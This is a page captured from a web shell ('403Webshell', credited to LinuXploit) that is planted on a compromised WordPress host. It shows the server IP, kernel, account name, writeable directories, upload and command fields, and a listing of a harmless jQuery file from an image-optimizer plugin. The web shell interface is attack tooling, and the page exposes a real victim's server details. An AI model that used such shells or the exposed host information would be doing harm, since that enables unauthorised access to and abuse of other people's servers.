403Webshell
Server IP : 118.139.160.155  /  Your IP : 216.73.217.176
Web Server : Apache
System : Linux sg2plmcpnl504228.prod.sin2.secureserver.net 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : twll3xqyaqrh ( 9725459)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/twll3xqyaqrh/public_html/Site WP/wp-content/plugins/ewww-image-optimizer/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/twll3xqyaqrh/public_html/Site WP/wp-content/plugins/ewww-image-optimizer/includes/webp.js
jQuery(document).ready(function($) {
	var ewww_error_counter = 30;
	var sleep_action = 'ewww_sleep';
	var init_action = 'webp_init';
	var loop_action = 'webp_loop';
	var cleanup_action = 'webp_cleanup';
	var init_data = {
	        action: init_action,
		ewww_wpnonce: ewww_vars.ewww_wpnonce,
	};
	$('#webp-start').submit(function() {
		startMigrate();
		return false;
	});
	function startMigrate () {
		$('.webp-form').hide();
	        $.post(ajaxurl, init_data, function(response) {
	                $('#webp-loading').html(response);
			processLoop();
	        });
	}
	function processLoop () {
	        var loop_data = {
	                action: loop_action,
			ewww_wpnonce: ewww_vars.ewww_wpnonce,
	        };
	        var jqxhr = $.post(ajaxurl, loop_data, function(response) {
			if (response) {
		                $('#webp-status').append( response );
				$('#webp-loading').hide();
				processLoop();
			} else {
			        var cleanup_data = {
			                action: cleanup_action,
					ewww_wpnonce: ewww_vars.ewww_wpnonce,
			        };
			        $.post(ajaxurl, cleanup_data, function(response) {
					$('#webp-loading').hide();
			                $('#webp-status').append(response);
			        });
			}
	        })
		.fail(function() {
			if (ewww_error_counter == 0) {
				$('#webp-loading').html('<p style="color: red"><b>Operation Interrupted</b></p>');
			} else {
				$('#webp-loading').html('<p style="color: red"><b>Temporary failure, retrying for ' + ewww_error_counter + ' more seconds.</b></p>');
				ewww_error_counter--;
				setTimeout(function() {
					processLoop();
				}, 1000);
			}
		});
	}
});

Youez - 2016 - github.com/yon3zu
LinuXploit